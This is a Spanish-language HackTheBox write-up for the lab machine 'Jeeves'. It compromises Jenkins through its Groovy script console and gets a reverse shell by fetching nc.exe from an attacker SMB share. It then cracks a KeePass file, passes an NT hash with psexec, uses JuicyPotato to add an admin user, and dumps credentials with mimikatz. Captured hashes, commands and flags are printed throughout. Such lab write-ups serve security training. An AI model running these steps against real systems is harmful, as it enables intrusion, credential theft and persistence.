HackTheBox - Jeeves (medium)

Jeeves is not overly complicated, however it focuses on some interesting techniques and provides a great learning experience. As the use of alternate data streams is not very common, some users may have a hard time locating the correct escalation path.

terminal

Bash

❯ ping -c 1 10.10.10.63
PING 10.10.10.63 (10.10.10.63) 56(84) bytes of data.
64 bytes from 10.10.10.63: icmp_seq=1 ttl=127 time=97.5 ms

--- 10.10.10.63 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 97.478/97.478/97.478/0.000 ms
❯ whichSystem.py 10.10.10.63

10.10.10.63 (ttl -> 127): Windows

PortScan

nrunscan esta es la herramienta que hice que te automatiza el escaneo de nmap por TCP por si quieres usarla.

terminal

Bash

❯ nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 17:38 CST
Nmap scan report for 10.10.10.63
Host is up (0.096s latency).

PORT      STATE    SERVICE      VERSION
80/tcp    open     http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open     msrpc        Microsoft Windows RPC
445/tcp   open     microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp filtered ibm-db2
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2023-07-03T04:39:17
|_  start_date: 2023-07-03T03:49:32
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m58s
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

Enumeración

Bueno, el crackmapexec nos reporta que estamos ante un Windows 10 Pro.

terminal

Bash

❯ crackmapexec smb 10.10.10.63
SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)

Vamos a comenzar enumerando por smb para ver si encontramos recursos compartidos.

terminal

Bash

❯ smbclient -L 10.10.10.63 -N
session setup failed: NT_STATUS_ACCESS_DENIED

Si comprobamos usando otras herramientas, vemos que no podemos enumerar por este puerto, ya que no tenemos credenciales y no podemos emplear un Null Session.

terminal

Bash

❯ smbmap -H 10.10.10.63
[!] Authentication error on 10.10.10.63

Vamos a ver las tecnologías que están corriendo en los puertos que tienen un servicio http.

terminal

Ruby

❯ whatweb http://10.10.10.63
http://10.10.10.63 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.63], Microsoft-IIS[10.0], Title[Ask Jeeves]

Pues bueno, vamos a ver la página web.

Bueno es la primera vez que veo eso si investigamos vemos que es un buscador.

Bueno si investigamos de primeras si tiene vulnerabilidades como tal solo vemos una, pero no creo que este sea el caso, ya que esta máquina no contempla buffer overflow.

terminal

Bash

❯ searchsploit jeeves
---------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                |  Path
---------------------------------------------------------------------------------------------- ---------------------------------
Ask.com/AskJeeves Toolbar Toolbar 4.0.2.53 - ActiveX Remote Buffer Overflow                   | windows/remote/4452.html
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Vamos a buscar algo en el navegador para probarlo.

Pero bueno nos redirige a error.html? y bueno ya nos están dando información sobre el error.

Vamos a comenzar aplicando Fuzzing para ver si encontramos más rutas de la máquina.

terminal

Bash

❯ feroxbuster -t 200 -x php,txt,html -u http://10.10.10.63

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.63
 🚀  Threads               │ 200
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 💲  Extensions            │ [php, txt, html]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200        1l        4w       50c http://10.10.10.63/error.html
200       17l       40w      503c http://10.10.10.63/index.html
200        1l        4w       50c http://10.10.10.63/Error.html
200       17l       40w      503c http://10.10.10.63/Index.html
[####################] - 1m    119996/119996  0s      found:4       errors:0
[####################] - 1m    119996/119996  1741/s  http://10.10.10.63

Enumeración 50000

Bueno si analizamos el escaneo de nmap vemos que también está el puerto 50000 vamos a ver que hay, ya que nos dicen Service Info.
Volví a escanear el puerto y si está abierto.

terminal

Bash

❯ nmap -sCV -p50000 10.10.10.63 -oN targe2
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-02 18:03 CST
Nmap scan report for 10.10.10.63
Host is up (0.093s latency).

PORT      STATE SERVICE VERSION
50000/tcp open  http    Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.07 seconds

Esto es lo que hay.

Pero no encontramos nada vamos a aplicar Fuzzing pero ahora para este puerto.

terminal

Bash

❯ gobuster dir -u http://10.10.10.63:50000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x txt,php,html --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.63:50000
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt,php,html
[+] Timeout:                 10s
===============================================================
2023/07/02 18:07:16 Starting gobuster in directory enumeration mode
===============================================================
/askjeeves            (Status: 302) [Size: 0] [--> http://10.10.10.63:50000/askjeeves/]

Y bueno nos redirige a un Jenkins.

Bueno vemos que esto está activado.

Bueno vemos que podemos ejecutar comandos en Groovy.

Si buscamos como podemos ejecutar algún comando encontramos lo siguiente.

Vamos a probarlo.

Y bueno funciona.

Bueno ahora lo que podemos hacer es asegurarnos de que si ganamos acceso al sistema ganar acceso ala máquina real y no a un contenedor para eso vamos a ejecutar el siguiente comando.

Shell as kohsuke

Bueno para ganar acceso vamos a necesitar nc.exe si tienes seclists clonado o instalado ya te viene el nc.exe.

terminal

Bash

❯ locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
❯ cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .

Vamos a usar smbserver.py o impacket-smbserver para ofrecer el nc.exe es importante que lo ejecutes en la ruta donde se encuentre el nc.exe.

terminal

Bash

❯ smbserver.py parrotsec . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

Vamos a ponernos en escucha para directamente enviarnos una reverse shell.

terminal

Bash

❯ rlwrap nc -lvnp 443
Listening on 0.0.0.0 443

Y bueno vamos a escapar las barras para que no entre en conflicto vamos a darle a Execute.

Y ganamos acceso además tenemos un Hash NTLMV2.

terminal

Bash

❯ smbserver.py parrotsec . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.63,49678)
[*] AUTHENTICATE_MESSAGE (JEEVES\kohsuke,JEEVES)
[*] User JEEVES\kohsuke authenticated successfully
[*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:c23a012c38f0f7005de8ee2b9a5c45c4:010100000000000000f5b20e48add901859a5b91331600a700000000010010004c0058006f0072007a0078004c004b00030010004c0058006f0072007a0078004c004b00020010005a0042005700500078004c006c004400040010005a0042005700500078004c006c0044000700080000f5b20e48add90106000400020000000800300030000000000000000000000000300000ecd30e6e2741e888fe19c320d42d3424341eac95c921e6f32cf839ae34398fa60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:parrotsec)
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

terminal

Bash

❯ rlwrap nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.63 49679
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\.jenkins>

User.txt

Si nos vamos ala raiz C:\ vemos que hay está la user.txt.

terminal

Bash

dir /r /s user.txt
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\kohsuke\Desktop

11/03/2017  11:22 PM                32 user.txt
               1 File(s)             32 bytes

     Total Files Listed:
               1 File(s)             32 bytes
               0 Dir(s)   2,408,325,120 bytes free

C:\>

terminal

Bash

type user.txt
e3232272596fb47950d59c4cf1e7066a
C:\Users\kohsuke\Desktop>

Escalada de Privilegios

Si vamos un directorio hacia atrás vemos lo siguiente.

terminal

Bash

dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\kohsuke\Documents

11/03/2017  11:18 PM    <DIR>          .
11/03/2017  11:18 PM    <DIR>          ..
09/18/2017  01:43 PM             2,846 CEH.kdbx
               1 File(s)          2,846 bytes
               2 Dir(s)   2,408,325,120 bytes free

C:\Users\kohsuke\Documents>

Esto corresponde al KeePass.

Vamos a traernos eso a nuestra máquina de atacante usando el recurso compartido a nivel de red con smbclient.py que ya tenemos.

terminal

Bash

copy CEH.kdbx \\10.10.14.12\parrotsec\CEH.kdbx
        1 file(s) copied.

C:\Users\kohsuke\Documents>

Y tenemos el archivo.

terminal

Bash

❯ ls
 CEH.kdbx   nc.exe

Vamos a abrirlo lo más probable es que necesitemos una contraseña.

terminal

Bash

❯ keepassxc CEH.kdbx & disown
[1] 197209

Como no sabemos la contraseña algo que podemos hacer es usar keepass2john.

terminal

Bash

❯ keepass2john CEH.kdbx > hash
❯ catn hash
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48

Y bueno tenemos la contraseña.

terminal

Bash

❯ john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1       (CEH)
1g 0:00:01:27 DONE (2023-07-02 19:14) 0.01142g/s 628.1p/s 628.1c/s 628.1C/s mwuah..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Ahora podemos usar el keepassxc para poder abrir el archivo.

Y bueno vemos varias cosas.

Si hacemos un ctrl+c vemos que nos copea esto aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00.
Y bueno eso es un hash que podemos usar para aplicar passthehash.
Vamos a validarlo con crackmapexec si es el del usuario Administrator.

terminal

Bash

❯ crackmapexec smb 10.10.10.63 -u 'Administrator' -H ':e0fb1fb85756c24235ff238cbe81fe00'
SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.10.10.63     445    JEEVES           [+] Jeeves\Administrator::e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

Shell as Administrator

Pues bueno podemos conectarnos con el hash nt.

terminal

Bash

❯ psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file LBvnmiYK.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service QTka on 10.10.10.63.....
[*] Starting service QTka.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

Root.txt

Nos dicen que la flag está en otro lado.

terminal

Bash

C:\Users\Administrator\Desktop> dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,407,817,216 bytes free

C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere.  Look deeper.
C:\Users\Administrator\Desktop>

Bueno vamos a hacer un dir /r /s que corresponden a data streams.

Y allí vemos la flag.

terminal

Bash

C:\Users\Administrator\Desktop> dir /r /s
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  10:05 AM    <DIR>          .
11/08/2017  10:05 AM    <DIR>          ..
12/24/2017  03:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  10:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes

     Total Files Listed:
               2 File(s)            833 bytes
               2 Dir(s)   2,407,755,776 bytes free

C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530

C:\Users\Administrator\Desktop>

Shell as root second way

Si vemos los privilegios del usuario vemos que forma parte del grupo SeImpersonatePrivilege podemos usar el JuicyPotato.

terminal

Bash

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

C:\Users\kohsuke\Desktop>

Aquí puedes encontrarlo https://github.com/ohpe/juicy-potato/releases/tag/v0.1.
Vamos a pasarlo ala maquina victima pero en la ruta C:\Windows\Temp y nos vamos a crear una carpeta para almacenarlo hay.

terminal

Bash

mkdir Prives

cd Prives
cd Prives

C:\Windows\Temp\Prives>

terminal

Bash

copy \\10.10.14.12\parrotsec\JuicyPotato.exe JuicyPotato.exe
        1 file(s) copied.

C:\Windows\Temp\Prives>

terminal

Bash

dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Windows\Temp\Prives

07/03/2023  02:59 AM    <DIR>          .
07/03/2023  02:59 AM    <DIR>          ..
07/02/2023  09:50 PM           347,648 JuicyPotato.exe
               1 File(s)        347,648 bytes
               2 Dir(s)   2,407,399,424 bytes free

C:\Windows\Temp\Prives>

Vamos a agregar un nuevo usuario.

terminal

Bash

JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c net user miguel miguel123$! /add" -l 1337
JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c net user miguel miguel123$! /add" -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Prives>

terminal

Bash

net user
net user

User accounts for \\JEEVES

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
kohsuke                  miguel
The command completed successfully.


C:\Windows\Temp\Prives>

Si validamos vemos que es válido.

terminal

Bash

❯ crackmapexec smb 10.10.10.63 -u 'miguel' -p 'miguel123$!'
SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.10.10.63     445    JEEVES           [+] Jeeves\miguel:miguel123$!

Ahora tenemos que hacer que forme del grupo Administrators podemos hacerlo con JuicyPotato.exe.

terminal

Bash

JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c net localgroup Administrators miguel /add" -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Prives>

Y bueno ahora formamos parte del grupo.

terminal

Bash

net user miguel
net user miguel
User name                    miguel
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            7/3/2023 3:03:27 AM
Password expires             Never
Password changeable          7/3/2023 3:03:27 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Users
Global Group memberships     *None
The command completed successfully.


C:\Windows\Temp\Prives>

Antes de validar con crackmapexec debemos hacer lo siguiente.

terminal

Bash

JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -a "/c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f" -l 1337
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\Windows\Temp\Prives>

Ahora validamos con crackmapexec.

terminal

Bash

❯ crackmapexec smb 10.10.10.63 -u 'miguel' -p 'miguel123$!'
SMB         10.10.10.63     445    JEEVES           [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.10.10.63     445    JEEVES           [+] Jeeves\miguel:miguel123$! (Pwn3d!)

Ahora nos podemos conectar con la contraseña que proporcionamos.

terminal

Bash

❯ psexec.py WORKGROUP/miguel@10.10.10.63 cmd.exe
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file TjCVyPZu.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service ntnX on 10.10.10.63.....
[*] Starting service ntnX.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

Extra

Algo que podemos hacer es subir el mimikatz.exe.

https://github.com/gentilkiwi/mimikatz/releases/.

terminal

Bash

❯ unzip mimikatz_trunk.zip
Archive:  mimikatz_trunk.zip
  inflating: kiwi_passwords.yar
  inflating: mimicom.idl
  inflating: README.md
   creating: Win32/
  inflating: Win32/mimidrv.sys
  inflating: Win32/mimikatz.exe
  inflating: Win32/mimilib.dll
  inflating: Win32/mimilove.exe
  inflating: Win32/mimispool.dll
   creating: x64/
  inflating: x64/mimidrv.sys
  inflating: x64/mimikatz.exe
  inflating: x64/mimilib.dll
  inflating: x64/mimispool.dll
❯ ls
 Win32   CEH.kdbx   JuicyPotato.exe      mimicom.idl          nc.exe
 x64     hash       kiwi_passwords.yar   mimikatz_trunk.zip   README.md
❯ cd x64
❯ ls
 mimidrv.sys   mimikatz.exe   mimilib.dll   mimispool.dll

Ahora aprovechándonos de nuestro recurso compartido que tenemos con smbserver.py vamos a subirlo.

terminal

Bash

❯ smbserver.py parrotsec . -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.63,49676)
[*] AUTHENTICATE_MESSAGE (\,JEEVES)
[*] User JEEVES\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:parrotsec)

terminal

Bash

❯ psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.63.....
[*] Found writable share ADMIN$
[*] Uploading file whUEDSYi.exe
[*] Opening SVCManager on 10.10.10.63.....
[*] Creating service MlrO on 10.10.10.63.....
[*] Starting service MlrO.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> cd C:\Windows\Temp

C:\Windows\Temp> mkdir prives

C:\Windows\Temp> cd prives

C:\Windows\Temp\prives> copy \\10.10.14.12\parrotsec\mimikatz.exe mimikatz.exe
        1 file(s) copied.

C:\Windows\Temp\prives> dir
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Windows\Temp\prives

07/04/2023  12:54 AM    <DIR>          .
07/04/2023  12:54 AM    <DIR>          ..
09/19/2022  05:44 PM         1,355,264 mimikatz.exe
               1 File(s)      1,355,264 bytes
               2 Dir(s)   2,427,297,792 bytes free

C:\Windows\Temp\prives>

Ahora lo ejecutamos.

terminal

Bash

C:\Windows\Temp\prives> .\mimikatz.exe "sekurlsa::logonPasswords" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 7/4/2023 12:09:01 AM
SID               : S-1-5-17
	msv :	
	tspkg :	
	wdigest :	
	* Username : (null)
	* Domain   : (null)
	* Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 118956 (00000000:0001d0ac)
Session           : Service from 0
User Name         : kohsuke
Domain            : JEEVES
Logon Server      : JEEVES
Logon Time        : 7/4/2023 12:09:00 AM
SID               : S-1-5-21-2851396806-8246019-2289784878-1001
	msv :	
	[00010000] CredentialKeys
	* NTLM     : ab4043bce374136df6e09734d4577738
	* SHA1     : 6f0672881aa8f2e79d9097b8dba62bdcbddde585
	[00000003] Primary
	* Username : kohsuke
	* Domain   : JEEVES
	* NTLM     : ab4043bce374136df6e09734d4577738
	* SHA1     : 6f0672881aa8f2e79d9097b8dba62bdcbddde585
	tspkg :	
	wdigest :	
	* Username : kohsuke
	* Domain   : JEEVES
	* Password : (null)
	kerberos :	
	* Username : kohsuke
	* Domain   : JEEVES
	* Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:58 AM
SID               : S-1-5-19
	msv :	
	tspkg :	
	wdigest :	
	* Username : (null)
	* Domain   : (null)
	* Password : (null)
	kerberos :	
	* Username : (null)
	* Domain   : (null)
	* Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 73605 (00000000:00011f85)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:58 AM
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	* Username : JEEVES$
	* Domain   : WORKGROUP
	* Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 73510 (00000000:00011f26)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:58 AM
SID               : S-1-5-90-0-1
	msv :	
	tspkg :	
	wdigest :	
	* Username : JEEVES$
	* Domain   : WORKGROUP
	* Password : (null)
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : JEEVES$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:58 AM
SID               : S-1-5-20
	msv :	
	tspkg :	
	wdigest :	
	* Username : JEEVES$
	* Domain   : WORKGROUP
	* Password : (null)
	kerberos :	
	* Username : jeeves$
	* Domain   : WORKGROUP
	* Password : (null)
	ssp :	
	credman :	

Authentication Id : 0 ; 45075 (00000000:0000b013)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:57 AM
SID               :
	msv :	
	tspkg :	
	wdigest :	
	kerberos :	
	ssp :	
	credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : JEEVES$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 7/4/2023 12:08:57 AM
SID               : S-1-5-18
	msv :	
	tspkg :	
	wdigest :	
	* Username : JEEVES$
	* Domain   : WORKGROUP
	* Password : (null)
	kerberos :	
	* Username : jeeves$
	* Domain   : WORKGROUP
	* Password : (null)
	ssp :	
	credman :	

mimikatz(commandline) # exit
Bye!

C:\Windows\Temp\prives>